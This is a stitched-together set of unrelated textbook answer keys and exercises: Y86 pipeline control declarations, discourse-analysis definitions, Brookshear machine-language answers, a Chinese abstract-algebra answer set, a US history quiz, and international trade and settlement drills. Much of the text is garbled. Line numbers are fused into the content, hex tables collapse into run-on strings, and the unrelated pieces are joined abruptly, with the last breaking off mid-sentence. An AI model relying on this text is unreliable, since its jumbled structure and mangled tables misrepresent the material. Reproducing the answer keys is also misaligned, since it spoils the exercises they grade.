ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
Chapter 7 课后答案
Chapter 7 答案Discourse Analysis1.Define the following terms briefly.(1)discourse: a general term for examples of language use, i.e. language producedas the result of an act of communication. It refers to the larger units oflanguage such as paragraphs, conversations and interviews.(2)discourse analysis: the study of how sentences in written and spoken languageform larger meaning units such as paragraphs, conversations and interviews.(3)given information: the information that the addresser believes is known to the addressee.(4)new information: the information that the addresser believes is not knownto the addressee.(5)topic: the main center of attention in a sentence.(6)cohesion: the grammatical and/or lexical relationships between the differentelements of a text. This may be the relationship between different sentencesor different parts of a sentence.(7)coherence: the relationship that links the meanings of utterances ina discourseor of the sentences in a text.(8)discourse marker: the technical term for all the items that are used to helpconstruct discourse, such as signifying the beginning or ending of a paragraphor a turn in conversation. They are commonly used in the initial positionof an utterance and are syntactically detachable from a sentence, such aswell, I mean, now, then, first, second, finally.(9)adjacency pair: a set of two consecutive, ordered turns that “go together” in aconversation, such as sequences of question/answer, greeting/greeting, invitation/acceptance, criticism/denial.(10) preference structure: in the conversations there can be several second partsrelated to one first part, but they are not of equal status. The structural likelihoodis called preference, and this likely structure is the preference structurethat divides second parts into preferred and dispreferred. The former is thestructurally expected and the latter unexpected. In answering the question“Have you got a light?”, the reply “Here you are” is preferred and “Sorry, no, I don’t smoke” is dispr eferred.(11 presequence: the opening sequences that are used to set up some special potentialactions, such as greetings before formal conversations. “What are youdoing tonight?” can be used as a presequence if it is followed by “If nothingspecial, come over and have dinner with us please.”(12) critical discourse analysis: the analysis of language use directed at, and committedto, discovering the concealed ideological bias, injustice, inequality in the power relations among speakers and hearers.2.In the study of discourse, cohesion refers to the grammatical and/or lexical relationshipsbetween the different parts of a text. This may be the relationship betweendifferent sentences or different parts of a sentence. It concerns the questionof how sentences are explicitly linked together in a discourse by different kinds ofovert devices. Such cohesive devices include reference, substitution, ellipses, conjunction and lexical cohesion.3.one→the look-out4.them (line 4)→plant and animal species (line 3)that (line 7)→“Every ecosystem everywhere can’t be preserved intact.”it (line 7)→“Every ecosystem everywhere can’t be preserved intact.”it (1st one, line 8)→how can it be made consistent with the earlier objective?it (2nd one, line 8)→to deprive some people in some parts of the world of a pieceof their ecosystem but not others.5.It is not a coherent discourse. Although it has connection words such as a Ford–– a car and black –– Black, which look like cohesive devices, they refer to entirelydifferent things. There is a total lack of internal relation among the sentences. Atext can’t be only based on superficial connections between the words to pursuecoherence; there must be some relationship that links the meanings of the sentencesin a text, too. This text is not in line with our real experience of the way theworld is. Thus, we can’t make sense of it directly unless we are laborious to createmeaningful connections which are not actually expressed by the words and sentences.So it’s not a coheren t discourse.6.Coherence is the relationship that links the meanings of utterances ina discourse or of the sentences in a text. This extract is coherent. All the sentences (questions in fact) are organized around the topic “interview”, and they are arrang ed from the general to the more specific in a logical order so that the text is easy to follow.。
计算机科学概论 答案 chapter02
Chapter TwoDATA MANIPULATIONChapter SummaryThis chapter introduces the role of a computer's CPU. It describes the machine cycle and the various operations (or, and, exclusive or, add, shift, etc.) performed by a typical arithmetic/logic unit. The concept of a machine language is presented in terms of the simple yet representative machine described in Appendix C of the text. The chapter also introduces some alternatives to the von Neumann architecture such as multiprocessor machines and artificial neural networks.The optional sections in this chapter present a more thorough discussion of the instructions found in a typical machine language (logical and numerical operations, shifts, jumps, and I/O communication), a short explanation of how a computer communicates with peripheral devices, and alternative machine designs.The machine language in Appendix C involves only direct and immediate addressing. However, indirect addressing is introduced in the last section (Pointers in Machine Language) of Chapter 7 after the pointer concept has been presented in the context of data structures.Comments1. Much of Comment 1 regarding the previous chapter is pertinent here also. The development of skills in the subjects of machine architecture and machine language programming is not required later in the book. Instead, what one needs is an image of the CPU/main memory interface, an understanding of the machine cycle and machine languages, an appreciation of the difference in speeds of mechanical motion compared to CPU activities, and an exposure to the limited repertoire of bit manipulations a CPU can perform.2. To most students at this stage the terms millisecond, microsecond, nanosecond, and picosecond merely refer to extremely short and indistinguishable units of time. In fact, most would probably accept the incorrect statement that activities within a computer are essentially instantaneous. Once a student of mine wrote a recursive routine for evaluating the determinant of a matrix in an interpreted language on a time-sharing system. The student tried to test the program using an 8 by 8 matrix, but kept terminating the program after a minute because "it must be in a loop." This student left with an understanding of microseconds as real units of time that can accumulate into significant periods.3. A subtle point that can add significantly to the complexity of this material is combining notation conversion with instruction encoding. If, for example, all the material in Chapters 1 and 2 is new toa student, the problem, "Using the language of Appendix C, write an instruction for loading register14 with the value 124" can be much more difficult than the same problem stated as, "Using the language of Appendix C, write an instruction for loading register D with the (hexadecimal) value 7C." In general, notation conversion is a subject of minor importance and should not be allowed to cloud the more important concerns.4. If you want your students to develop more than a simple appreciation of machine language programming, you may want to use one of the many simulators that have been developed for the machine in Appendix C. A nice example is included on the Addison-Wesley website at /brookshear or you can find other simulators by searching the Web.5. Here are some short program routines in the machine language presented in Appendix C of the text, followed by their C language equivalents. (These examples are easily converted into Java, C++, and C#.) Each machine language routine starts at address 10. I've found that they make good examples for class presentations or extra homework problems in which I give the students the machine language form and ask them to rewrite it in a high-level language.Address Contents Address Contents Address Contents0D 00 14 20 1B 0F0E 00 15 5A 1C 500F 00 16 30 1D 1210 20 17 0F 1E 3011 5C 18 11 1F 0D12 30 19 0E 20 C013 0E 1A 12 21 00C language equivalent:{int X,Y,Z;X = 92;Y = 90;Z = X + Y;}If the contents of the memory cell at address 1C in the preceding table is changed from 50 to 60 the C equivalent becomes:{float X, Y, Z;X = 1.5;Y = 1.25;Z = X + Y;}Here's another example:Address Contents Address Contents Address Contents0E 00 19 0F 24 200F 00 1A 20 25 0110 20 1B 04 26 5011 02 1C B1 27 0112 30 1D 2C 28 3013 0E 1E 12 29 0F14 20 1F 0E 2A B015 01 20 50 2B 1816 30 21 12 2C C017 0F 22 30 2D 0018 11 23 0EC equivalent:{int X, Y;X = 2; Y =1;while (Y != 4) {X = X + Y; Y = Y + 1;}}6. Here are two C program segments that can be conveniently translated into the machine language of Appendix C.{int X, Limit;X = 0;Limit = 5;do X = X + 1 while (X != Limit);}Program segment in machine language:Address Contents Address Contents Address Contents0E 00 (X) 18 22 (R2 = 1) 22 10 (R0 = Limit)0F 00 (Limit) 19 01 23 0F10 20 (X = 0) 1A 11 (R1 = X) 24 B1 (go to end11 00 1B 0E 25 28 if X == Limit)12 30 1C 50 (X = X+1) 26 B0 (return)13 0E 1D 12 27 1A14 20(Limit = 5)1E 30 28 C0 (halt)15 05 1F 0E 29 0016 30 20 11 (R1 = X)17 0F 21 0E{int X, Y, Difference;X = 33;Y = 34;if (X > Y)Difference = X - Yelse Difference := Y – X}Program segment in machine language:Address Contents Address Contents Address Contents0D 00 (X) 1D 01 2D 16 (Diff = X-Y)0E 00 (Y) 1E 24 (R4=FF) 2E 300F 00 (Diff) 1F FF 2F 0F10 20 (X = 33) 20 96 (R6=not Y) 30 B0 (branch to11 21 21 24 31 3A halt)12 30 22 56 (R6= -Y) 32 90 (R0=not X)13 0D 23 36 33 1414 20 (Y = 34) 24 50 (R0=X-Y) 34 50 (R0 = -X)15 22 25 16 35 0316 30 26 25 (R5=80Hex) 36 50 (R0 = Y-X)17 0E 27 80 37 0218 11 (R1=X) 28 80 (mask low) 38 30 (Diff = Y-X)19 0D 29 50 7 bits) 39 0F1A 12 (R2=Y) 2A B5 (if R0=R5 3A C0 (halt)1B 0E 2B 32 then Y>X 3B 001C 23 (R3=1) 2C 50Answers to Chapter Review Problems1. a. General purpose registers and main memory cells are small data storage cells in a computer.b. General purpose registers are inside the CPU; main memory cells are outside the CPU.(The purpose of this question is to emphasize the distinction between registers and memory cells—a distinction that seems to elude some students, causing confusion when following machine language programs.)2. a. 0010000100000101b. 1010c. 0011001001003. Nine cells with addresses B9, BA, BB, BC, BD, BE, BF, C0, and C1.4. BA5. Program Instruction Memory cellcounter register at 0002 2104 2104 3100 2106 C000 046. To compute x + y - z, each of the values must be retrieved from memory and placed in a register, the sum of x and y must be computed and saved in another register, z must be subtracted from that sum, and the final answer must be stored in memory.A similar process is required to compute (2x) + y. The point of this example is that the multiplication by 2 is accomplished by adding x to x.7. a. Move the contents of register 7 to register E.b. AND the contents of register 0 with the contents of register 8 and place the result in register 0.c. Rotate the contents of register 4 three bits to the right.d. Load register 8 with the value (hexadecimal) 35.e. Compare the contents of registers 3 and 0. If the patterns are equal, jump to the instruction at address AD. Otherwise, continue with the next sequential instruction.8. 16 with 4 bits, 256 with 8 bits9. a. 2766 b. 1766 c. 80F2 d. A403 e. BB3110. The only change that is needed is that the third instruction should be 6056 rather than 5056.11. a. Retrieves from memory cell 3B.b. Is independent of memory cell 3B.c. Changes the contents of memory cell 3B.d. Changes the contents of memory cell 3B.e. Is independent of memory cell 3B.12. a. Place the value 05 in register 4. b. 0513. a. 241B b. 1B3414. a. Load register 0 with the contents of memory cell 04.Store the contents of register 3 in memory cell 45.Halt.b. C0c. 0615. a. 29 b. 0A16. a. 00, 01, 02, 03, 04, 05b. 06, 0717. a. 03 b. 03 c. 0E18. 05. The program is a loop that is terminated when the value in register 0 (initiated at 00) is finally incremented to the value in register 3 (initiated at 05).19. 20 microseconds.20. The point to this problem is that a bit pattern stored in memory is subject to interpretation—it may represent part of the operand of one instruction and the op-code field of another.a. Registers 0, 1, and 2 will contain 32, 20, and 12, respectively.b. 12c. 3221. The machine will alternate between executing the jump instruction at address AF and the jump instruction at address B0.22. It would never halt. The first 2 instructions alter the third instruction to read B000 before it is ever executed. Thus, by the time the machine reaches this instruction, it has been changed to read "Jump to address 00." Consequently, the machine will be trapped in a loop forever (or until it is turned off).23. a. b. c.148D 148D 200034B3 15B3 1145C000 358D B10A34BD22DDB00CC00022CC3288C00024. a. The single instruction B000 stored in locations 00 and 01.b. Address Contents00,01 2100 Initialize02,03 2270 counters.04,05 3109 Set origin06,07 320B and destination.08,09 1000 Now move0A,0B 3000 one cell.0C,0D 2001 Increment0E,0F 5101 addresses.10,11 520212,13 2333 Do it again14,15 4010 if all cells16,17 B31A have not18,19 B004 been moved.1A,1B 2070 Adjust values1C,1D 3071 that are1E,1F 2079 location20,21 3075 dependent.22,23 207B24,25 307726,27 208A28,29 30872A,2B 20742C,2D 30892E,2F 20C030,31 30A432,33 200034,35 20A536,37 B070 Make the big jump!c. Address Contents00,01 2000 Initialize counter.02,03 2100 Initialize origin.04,05 2270 Initialize destination.06,07 2430 Initialize references08,09 1530 to table.0A,0B 310D Get origin0C,0D 1600 value.0E,0F B522 Jump if value must be adjusted.10,11 3213 Place value12,13 3600 in new location.14,15 2301 Increment16,17 5003 R0,18,19 5113 R1, and1A,1B 5223 R2.1C,1D 233C Are we done?1E,1F B370 If so, jump to relocated program.20,21 B00A Else, go back.22,23 2370 Add 70 to24,25 5663 value being26,27 2301 transferred and28,29 5443 update R4 and2A,2B 342D R5 for next2C,2D 1500 location.2E,2F B010 Return (from subroutine).30,31 0305 Table of32,33 0709 locations that34,35 0B0F must be36,37 111F updated for38,39 212B new location.3A,3B 2FFF25.20A1 21A421A2 60016001 30A521A3 C000600126. The machine would place a halt instruction (C000) at memory location 04 and 05 and then halt when this instruction is executed. At this point its program counter will contain the value 06.27. The machine would continue to repeat the instruction at address 06 indefinitely.28. It copies the data from the memory cells at addresses 00, 01, and 02 into the memory cells ataddresses 10, 11, and 12.29. Let R represent the first hexadecimal digit in the operand field;Let XY represent the second and third digits in the operand field;If the pattern in register R is the same as that in register 0,then change the value of the program counter to XY.30. Let the hexadecimal digits in the operand field be represented by R, S, and T;Activate the two's complement addition circuitry with registers S and Tas inputs;Store the result in register R.31. Same as Problem 24 except that the floating-point circuitry is activated.32. a. 04 b. A8 c. FC d. 08 e. F433. a. b. c. d.1066 1034 10A5 10A530BB 21F0 210F 210F8001 8001 80013034 12A6 400121F0A1047001821230A5700230A634. a. 101000 b. 000000 c. 000100 d. 110001 e. 111001 f. 101110g. 010101 h. 111111 i. 010001 j. 101110 k. 010001 l. 00111035. a. AND the byte with 11000011.b. XOR the byte with 11111111.c. XOR the byte with 10000000.d. OR the byte with 10000000.e. OR the byte with 01111111.36. XOR the input string with 10000001.37. First AND the input byte with 10000001, then XOR the result with 10000001.38. a. 11010 b. 00001111 c. 010 d. 001010 e. 1000039. a. 9F b. 86 c. FF d. BB40. a. AB03 b. AB0541. Address Contents00,01 2008 Initialize registers.02,032101220004,05230006,0708,09 148C Get the bit pattern;0A,0B 8541 Extract the least significant bit;0C,0D 7335 Insert it into the result.62120E,0F10,11 B218 Are we done?12,13 A401 If not, rotate registersA30714,1516,17 B00A and go back;18,19 338C If yes, store the result1A,1B C000 and halt.42. The idea is to complement the value at address A1 and then add. Here is one solution:21FF12A1722113A0542334A243. Each character would consist of 8 bits so the rate of 300 bps would translate into approximately37 characters per second. Thus, the printer could just keep up. (In reality, an ASCII characterrequires about 10 bits when transmitted serially because, in addition to a parity bit, start and stopbits are also added to each pattern. As a rule of thumb, 300 bps is considered to be 30 characters persecond.) If the rate were increased to 1200 bps, the printer wouldn't stand a chance.44. The typist would be typing 30 x 5 = 150 characters per minute, or 1 character every 0.4 seconds(= 400,000 microseconds). During this period the machine could execute 20,000,000 instructions.45. The typist would be producing characters at the rate of 2.5 characters per second, whichtranslates to 20 bps (assuming each character consists of 8 bits).46. Address Contents200000,01210102,0304,05 12FE Get printer status06,07 8212 and check the ready flag.08,09 B004 Wait if not ready.0A,0B 35FF Send the data.47. Address Contents00,01 20C1 Initialize registers.210002,03220104,05130B06,0708,09 B312 If done, go to halt.0A,0B 31A0 Store 00 at destination.0C,0D 5332 Change destination0E,0F 330B address,10,11 B008 and go back.12,13 C00048. 14,400 bps is equivalent to 1,800 bytes/sec. So it would take 2960 hours (over 123 days) to fill the20MB drive.49. 14450. Group the 64 values into 32 pairs. Compute the sum of each pair in parallel. Group these sumsinto 16 pairs and compute the sums of these pairs in parallel. etc.51. CISC involves numerous elaborate machine instructions that can be time consuming. RISCinvolves fewer and simpler instructions, each of which is efficiently implemented.52. How about pipelining and parallel processing? Increasing clock speed is another answer.53. In a multiprocessor machine several partial sums can be computed simultaneously.。
近世代数答案
Answer to Chapter 19.设S 为群G 的一个非空子集，在G 中定义一个关系aRb 当且仅当ab −1∈S .证明这是一个等价关系的充分必要条件为S 是一子群.Proof.”必要性”：假设R 为G 上的等价关系，下证S 为G 的子群。
对任意的a,b ∈S ，我们需证ab −1∈S 。
对任意的b ∈S ,be −1=b ∈S ，由关系的定义知，bRe 。
因为R 为等价关系，所以eRb 。
对任意的a,b ∈S ，则我们有aRe,eRb ，由等价关系的传递性，我们有aRb ,推出ab −1∈S 。
”充分性”：假设S 为G 的一个子群，下证R 为G 上的一个等价关系。
1)∀a ∈G,aa −1=e ∈S ⇒aRa ;2)∀a,b ∈G ，若aRb ,则ab −1∈S 。
因为S <G ，所以(ab −1)−1=ba −1∈S ⇒bRa ;3)∀a,b,c ∈G ,若aRb,bRc ,则ab −1∈S,bc −1∈S ，由S 为子群知ab −1bc −1=ac −1∈S ⇒aRc ;12.证明:如果在一阶为2n 的群中有一个n 阶子群，它一定是正规子群。
Proof.设|G |=2n,H <G,|H |=n 。
我们需证∀g ∈G,gH =Hg 。
1)如果g ∈H ,那么gH =H =Hg 显然成立；2)如果g ∈H ，考虑由H 诱导的G 的左右陪集的划分，G =H ∪gH =H ∪Hg.我们有gH =Hg 。
17.如果G 为一交换群，证明G 中全体有限阶元素组成一子群。
Proof.设S 表示G 的阶有限元素全体，e ∈S ,所以S 非空。
设x,y ∈S ，且o (x )=m,o (y )=n 。
易知o (y −1)=o (y )=n 。
所以(xy −1)mn =e ,推出xy −1∈S 。
特别地，S <G 。
20.设H,K 为群G 的子群，证明HK 为子群当且仅当HK =KH 。
英美国家历史与文化答案
C h a p t e r1L a n d a n d H i s t o r y1.Choose the most appropriate answer to each question or statement.(5 points for each)1)The following figures were often considered the founding fathers of the American Republic EXCEPT__C_.A.George WashingtonB. Thomas JeffersonC. Roger WilliamsD. John Adams2)The following were some of the characteristics of Puritanism EXCEPT_A_.A. Manifest destinyB. Religious freedomC. Intolerant moralismD. Separation of state and church3)The 1920s was associated with the following EXCEPT__D.A. Silent moviesB. Ku Klux KlanC. ProhibitionD. Television4)Clinton was the second US president to be impeached by the House of Representatives, but retired in the_A_.A. The SenateB.the Supreme CourtC. The Department of JusticeD. The Federal Reserve5)Which of the following did not take place in the Nixon administration BA. VietnamizationB. Cuban Missile CrisisC. Watergate ScandalD. Re-establishing US with China.2.Match the US president with the event that took place in his presidency. (5 points for each)1)Abraham Lincoln e a. New Deal2)Franklin D. Roosevelt. a b. Rapid development in IT Industry3)John F. Kennedy d c. Watergate Scandal4)Richard Nixon c d. Cuban Missile Crisis5)Bill Clinton b e. Civil War3.Translate the English passage into Chinese.When an American says that he loves his country, he means not only that he loves the New England hills, the prairies glistening in the sun, the wide and rising plains, the great mountains, and the sea. He means that he lovesan inner air, an inner light in which freedom lives and in which a man can draw the breath of self-respect.当一个美国人说他热爱他的祖国，他不仅仅意味着他深爱着新英格兰连绵的山丘，阳光下熠熠生辉的草原，宽阔无边际的平原，巍峨的高山和一望无际的大海。
国际贸易》芬斯特拉版人大版练习题答案
Answer: A uniform increase in the tariff level causes fewer activities to be offshored. The slicing of the value chain reflects this increased cost as a rightward shift; Home expands the set of activities that it does at Home to include incrementally higher value activities, whereas the set of high value offshored activities shrinks.
Answer: The high relative wage of Home high-skilled labor makes high-skilledlabor-intensive activities more expensive at Home relative to Foreign. Equivalently, the low relative wage of low-skilled labor makes low-skilled-laborintensive activities less expensive at Home relative to Foreign. As a result, Home will undertake production activities lower on the value chain while offshoring higher value activities to Foreign.
数据库系统概念(database system concepts)英文第六版 课后练习题 答案 第7章
d. Consider E as a weak entity set and RA, RB and RC as its identifying relationship sets. See Figure 7.6.
7.3 Answer: The diagram is shown in Figure 7.4.
7.4 Answer: The different occurrences of an entity may have different sets of attributes, leading to an inconsistent diagram. Instead, the attributes of an entity should be specified only once. All other occurrences of the entity should omit attributes. Since it is not possible to have an entity without any attributes, an occurrence of an entity without attributes clearly indicates that the attributes are specified elsewhere.
7.8 Answer: In this example, the primary key of section consists of the attributes (course id, semester, year), which would also be the primary key of sec course, while course id is a foreign key from sec course referencing course. These constraints ensure that a particular section can only correspond to one course, and thus the many-to-one cardinality constraint is enforced. However, these constraints cannot enforce a total participation constraint, since a course or a section may not participate in the sec course relationship.
国际结算课后练习
Chapter TwoI. Decide whether the following statements are true or false.1. Under non-trade settlement, the most common means to carry funds are cash,traveler’s check, traveler’s letter of credit and credit card. ( )2. Nostro account is an account (due to account) held by a bank on behalf of acorrespondent bank. ( )3. Bills of exchange were created in the sixteenth century. ( )4. The authorized signatures are used for authentication of the messages, letters,remittances, letters of credit, etc .addressed by the bank to its correspondent bank.( )5.From an American bank’s view, a Nostro account is a dollar account held for itsoverseas correspondents. ( )II.Choose the best answer to each of the following statements.1. From the point of view of a Chine se bank, ______is our bank’s account in thebooks of an overseas bank , denominated in foreign currency.A. a vostro accountB. a nostro accountC. a mirror accountD. a record account2. There are four main methods of securing payment in international trade:⑴payment under documentary credit; ⑵ open account; ⑶ collection; ⑷ payment inadvance. From an exporter’s point of view, the order of preference is_______ .A. ⑴, ⑵, ⑶ ,⑷B. ⑷, ⑶, ⑴, ⑵C. ⑷, ⑴, ⑶, ⑵D. ⑵, ⑷, ⑴, ⑶3. The documentary collection provides the seller with a greater degree of protectionthan shipping on ______.A. documentary creditB. banker’s letter of guaranteeC. banker’s draftD. open account4. An exporter sells goods to a customer abroad on FOB and on CIF terms, Who isresponsible for the freight charges in each?________.A. Importer, exporterB. Exporter, importerC. Importer, importerD. Exporter, exporter5. Foreign trade can be conducted on the following terms except for _________.A. open accountB. documentary collectionC. documentary creditD. public bonds6. A bank gets to know its exact position of funds by _________.A. reflecting the credit balanceB. examining the mirror accountC. consulting a foreign bankD. checking the nostro account7. If bank of China instructs Bank of America to pay a sum of US $ 1,000,000.00 toMidland, its nostro account will be _________.A. creditedB. debitedC. increasedD. decreased8. Statements of balance of international payment don’t include:A. current accountB. capital accountC. balancing accountD. visible account9. Cash settlement is effected by shipping ______ taking the form of coins, bars orbullions.A. precious metalsB. goldC. silverD. notes10. International cash settlement has the following disadvantages except _______ .A. expensiveB. safeC. riskyD. time-consumingChapter ThreeI.Decide whether the following statements are true or false.1. In a promissory note, the drawer and the payer are the same person. ( )2. A promissory note is an unconditional order in writing. ( )3. There is no acceptor in a promissory note.( )4. A bank draft is a check drawn by one bank on another. ( )5. A trade bill is usually a documentary bill. ( )6. The interest in the bill of exchange can only be transferred by endorsement. ( )7. An endorser of a bill is liable on it to subsequent endorsers and holders of the bill.( )8. The person who draws the bill is called the drawer.( )9. Bills of exchange drawn by and accepted by commercial firms are known astrade bills. ( )10. Trade bills are usually documentary bills. ( )11. Endorsements are needed when checks in favor of a sole payee are credited toa joint account. ( )12. An open check can be paid into a bank account. ( )13. An open check can be cashed over the counter. ( )14. A crossed check can be cashed over the counter. ( )15. The payment of a check cannot depend upon certain conditions being met.( )16. In a check, the drawer and the payer are the same person. ( )17. If a check is presented undated, the payee can insert a date .( )18. A draft is a conditional order in writing. ( )19. If a bill is payable “at 30 days after date “, the date of payment is decidedaccording to the date of acceptance. ( )20. A bill payable “ at 90 days sight” is a sight bill.( )II.Choose the best answer to each of the following questions.1. The person paying the money is a ______ of a check.A. payeeB. endorserC. drawerD. endorsee2. A check is valid for ______months from the date of issue, unless a shorter periodis written on the face of it.A .six B. nine C. three D. one3. If a check dated 1st Feb. 2007 was presented on the 5th Nov. 2000, it would be______.A. pre-datedB. out of dateC. post datedD. undated4. If a check dated 1st Feb, 2007 was presented on the 5th Oct. 2001, it would be_____.A .pre-dated B. out of date C. post dated D. undated5. The effect of a blank endorsement is to make the check payable to the ______.A .order of a specified person B. specified personC. bearerD. named person6. Banks usually ask for endorsements when checks in favor of ______payees arecredited to a _______accountA .joint …joint B. j oint …soleC. sole…jointD. sole….sole7.”Payee J. Smith endorsed James Smith pay to L. Green”, this is a_____endorsement.A .specific B. blank C. general D. restrictive8. If a bill is payable “60 days after date”, the date of payment is decided accordingto_____.A. the date of acceptanceB. the date of presentationC. the date of the billD. the date of maturity9. A______carries comparatively little risks and can be discounted at the finest rateof interest.A. sight billB. bank draftC. commercial billD. trade bill10. A term bill may be accepted by the ______.A. drawerB. draweeC. holderD. payee11. The party to whom the bill is addressed is called the ______.A. drawerB. draweeC. holderD. payee12. When financing is without recourse, this means that the bank has no recourseto the ______ if such drafts are dishonored.A. payerB. draweeC. payeeD. drawer13. Only by endorsement can the interest in the bill be transferred by ______.A. the drawerB. the draweeC. the holderD. any person to the bill14. A promissory note is “inchoate ” until it has been delivered to the ______.A. payer or bearerB.payee or draweeC. payee or bearerD.holder or drawer15. The ______of a promissory note has prime liability while the other partieshave secondary liability.A. holderB. draweeC. makerD. acceptor16. An acceptance with the wording “payable on delivery of bill of lading ” is______.A. a general acceptanceB. qualified acceptanceC. non acceptanceD. partial acceptance17._______must be accepted by the drawee before payment.A. A sight billB. A bill payable ×× days after sightC.A promissory noteD.A bill payable ×× days after date18.A(n)________is a financial document.A. bill of exchangeB. bill of ladingc. insurance policy D. commercial invoice19.In order to retain the liabilities of the other parties, a bill that has beendishonored must be _____.A. protestedB. given to the acceptorC. retained in the filesD. presented to the advising bank20. “A check payable to ABC Company is credited to the personal account ofMr.Li”. the bank _____.A. is correct in crediting the accountB. is merely doing what is requestedC. has committed an act of negligenceD. will make a claim on its principalⅤ. Read the following draft and give your answer to each of the following questions.1. Who is the drawer ?2. Who is the drawee?3. Who is the payee?4. Is this a demand draft or a tenor draft?5. Is this a sole bill or a bill of exchange in two sets?6. Where is the bill drawn?Ⅶ.Directions : Mrs. Warren asks Joe Williams to draw out to her a crossed checkfor USD2, 300. She is to pay the amount to her account with Pacific Bank , City Office. Joe Williams signed the check (No.12345) on March 21, 2001 as requested . Now complete the following check according to the above information.Chapter FourⅠ. Fill in the blanks to complete each sentence.1. International remittance happens when a client (payer) asks his bank to send a sum ofmoney to a _______ abroad by one of the transfer methods at his option.2. A_______,________or _________is an authenticated order in writing addressed byone bank to another instructing the latter to pay a sum certain in money to a specified person or a beneficiary named thereon.3. Telegraphic transfer is often used when ______and _____.The only means ofauthenticating a cable transfer is the _______.4. Under D/D, upon receipt of the draft , the beneficiary can either present it for paymentat the counter of the drawee bank or _______.5. The whole procedure virtually is done by entries over banking accounts, where thebuyer’s bank (remitting bank)_______his account and ______the account of the correspondent bank.6. In time of war, one can transfer funds out of the enemy country by means of the_____in cirtue of its negotiability .7. The remitting bank under D/D is generally reluctant to stop payment on a draft issuedbu itself for this would mean an ________on its part which will have an unfavorable effect on its credit –worthiness.8. A large number of international remittances are carried out by telecommunications ._______,_______,_______,and______are major advantages of transactions among member banks by means of SWIFT messages.9. If the paying bank maintains the remitting bank’s account ,the reimbursement may beeffected by________.10. Any methods of transfer may be used to transfer the payment before_______from theimpoter to the exporter through banks.Ⅳ.Choose the best answer to each of the following statements.1.A payment order ,mail advice or credit advice / please debit advice is an authenticated order in writing addressed by one bank to another instructing the latter to pay a sum certain in money to a specified person or a ____ named thereon .A.bankB.beneficiaryC.remitterD.acceptor2.The only means of authenticating a cable transfer is the ____.A. SWIFT authentic keyB. payment orderC.test keyD. authorized signatures3.____is often used when the client wants to transfer the funds to his beneficiary himself.A.Demand draftB.payment orderC.test keyD.authorized signatures4.The same methods of transfer may be used both in advance payment and open account business : remitting the payment bu a banker’s draft ,by mail transefer ,by telegraphic transfer ,bu SWIFT message, by a(n)_____.A. postal money orderB. international money orderC. payment orderD. reimbursement5.If the paying bank opens a current account with the remitting bank, the reimbursement may be effected by ______.A. instructing the paying bank to claim reimbursement from another branch of the same bank or another bank with which the remitting bank opens an account.B. debiting remitting bank’s nostro accountC. instructing a reimbursing bank to pay the paying bank bu debiting the remitting bank’snostro account.D.crediting vostro account of the paying bank.Chapter FiveⅠ、Fill in blanks to complete sach sentence.1.If the collecting bank is not located near the importer,it would send the documents toa ______in the importer’s city .2.In a documentary collection the bank ,acting as exporter’s agent,regulates the timingand sequence of the exchange of goods for value by holding the______until the importer either______or______.3.The clean colletion method lacks the protection of the documentary collection .It isgenerally used in countries where a draft is needed for ______purposes or because it is required by______.4.Under documents against acceptance,after acceptance,the buyer gains possessionof the goods before______and is able to dispose of the goods as he wishes.5.Collections serve as compromise between______and______in settlement ofinternational transactions concluded by the importer and the exporter.6.______is a banking business in which a bank acting as the collecting bank receivethe draft with or without shipping documents attached as well as the instructions froma bank abroad and endeavors to collect the payment or obtain the acceptance fromthe importers.7.Collection bill purchased involves great risk for______fou lack of bank”sguarantee,so they are seldom willing to do so.8.The collecting bank authorizing the release of title documents on______must realizethat this financing requires a great degree of confidence in the reputation,honesty,and integrity of the customer acting as frustee.9.Under_______,the seller issues a draft.The collecting bank presents the draft to thebuyer.When the buyer sees it he must pay the money at once,then he can get the shipping documents.10.The remitting bank sends______to the colleting/presenting bank in the importer’scountry that notifies the importer.Chapter FiveⅣ. Choose the best answer to each of the following statements.1. The principal is generally the customer of a bank who prepares documentation andsubmits them to the bank with a collection order for payment from the buyer (drawee).A. remittingB. collectingC. presentingD. correspondent2. Which type of collection offers the greatest security to the exporter?A. Documents against acceptanceB. Documents against paymentC. Clean collectionD. Acceptance D/P3. is an arrangement whereby the seller obtains his bank’s pre-numbered direct collection letter, thus enabling him to send his documents directly to his bank’s correspondent bank for collection.A. Clean collectionB. Documents against paymentC. Direct collectionD. Documents against acceptance4. Which of the following is not the obligation of the trustee?A. To arrange for the goods to be warehoused and insured in the trustee’s name.B. To pay all the proceeds of sale to the bank or to hold them on behalf of the bank.C. Not to put the goods in pledge to other persons.D. To settle claims of the bank prior to liquidation in case of the trustee’s bankruptcy.5. Which of the following is not a risk that the exporter assumes on documentary collection basis?A. Non-acceptance of merchandiseB. Harm to the reputation due to dishonorC. Exchange restrictionsD. Non-payment of trade acceptanceⅡ. Decide whether the following statements are true or false.1. Under documentary credit, the nominted bank has no obligation to examine 